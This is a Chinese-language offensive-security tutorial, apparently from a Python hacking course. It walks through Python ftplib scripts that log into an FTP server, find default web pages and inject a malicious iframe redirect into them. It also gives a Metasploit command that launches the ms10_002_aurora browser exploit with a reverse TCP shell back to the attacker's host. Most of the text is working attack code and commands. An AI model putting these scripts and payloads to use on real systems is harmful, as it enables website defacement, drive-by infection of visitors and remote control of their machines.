目录
1.1、函数:
ftp.nlst():返回FTP服务器上指定目录的文件列表
fileName.lower():将字符串中的所有大写字母转换为小写字母
1.2、实现:
有了FTP 服务器的登录口令之后,要测试一下该服务器是否提供Web 服务
首先要列出FTP 目录中的所有文件, 搜索其中是否含有默认网页。returnDefault()函数输入的参数是一个FTP 连接, 返回一个它找到的默认网页的数组。它是通过发出NLST 命令(列出目录中所有文件的命令)完成这一操作的。该函数会逐个检查NLST 命令列出的每个文件的文件名是不是默认的Web 页面文件名, 并把找到的所有默认网页都添加到一个叫retList 的数组中。完成这一迭代操作后, 函数返回该数组。
运行python defaultPages.py
import ftplib def returnDefault(ftp): try: dirList = ftp.nlst() except: dirList = [] print('[-] Could not list directory contents.') print('[-] Skipping To Next Target.') return retList = [] for fileName in dirList: fn = fileName.lower() if '.php' in fn or '.htm' in fn or '.asp' in fn: print('[+] Found default page: ' + fileName) retList.append(fileName) return retList host = '192.168.190.131' userName = 'guest' password = 'guest' ftp = ftplib.FTP(host) ftp.login(userName, password) returnDefault(ftp)
2.1、分析:
已经找到了网页文件, 必须用恶意重定向代码感染它们。为了快速创建一个位于http://xx.xx.xx.xx:8080/exploit 的恶意服务器和页面,将使用Metasploit 框架,选用的是msl0_002_aurora, ip:8080/exploit 上的网页会利用被重定向到它这里的浏览器中的漏洞, 使之向我们提供一个反向连接, 令我们能通过这个反向连接来控制这台“ 肉机”
msfcli exploit/windows/browser/ms10_002_aurora
LHOST=xx.xx.xx.xx SRVHOST=xx.xx.xx.xx URIPATH=/exploit
PAYLOAD=windows/shell/reverse_tcp LHOST=xx.xx.xx.xx LPORT=443 E
如果有哪个有漏洞的浏览器连接到http://xx.xx.xx.xx:8080/ exploit这个服务器, 它就会执行漏洞利用代码。一旦成功,将生成一个反向的TCPshell, 并让我们得到这台被黑计算机上的Windows命令行提示窗口。有了这个命令shell后, 就能在“ 肉机” 上以管理员权限执行命令
接下来,要在被黑服务器的正常网页中添加一段重定向至我们的恶意服务器的代码。我们可以从被黑的服务器上把默认网页下载下来, 在其中插入一个iframe, 然后把这个插入了恶意代码的网页传回到被黑的服务器上
injectPage()这个函数,需要给injectPage()函数输入一个FTP连接、网页名, 以及表示用于重定向的这个iframe字符串,然后下载该网页的临时副本。接着, 它把重定向到我们恶意服务器上的这个iframe添加到这个临时文件中。最后, 函数将被感染的网页传回被黑的服务器上。
2.2、函数:
ftp.retrlines():使用RETR命令获取文件多行信息
storlines (cmd, f):给定 FTP 命令。(如“ STOR filename”),用来上传文本文件
ftplib.FTP类:实现FTP协议的客户端,可以使用它来编写执行各种FTP作业的Python程序
2.3、实现:
python injectPage.py
import ftplib def injectPage(ftp, page, redirect): f = open(page + '.tmp', 'w') ftp.retrlines('RETR ' + page, f.write) print('[+] Downloaded Page: ' + page) f.write(redirect) f.close() print('[+] Injected Malicious IFrame on: ' + page) ftp.storlines('STOR ' + page, open(page + '.tmp')) print('[+] Uploaded Injected Page: ' + page) host = '192.168.190.131' userName = 'guest' passWord = 'guest' ftp = ftplib.FTP(host) ftp.login(userName, passWord) redirect = '' injectPage(ftp, 'index.html', redirect)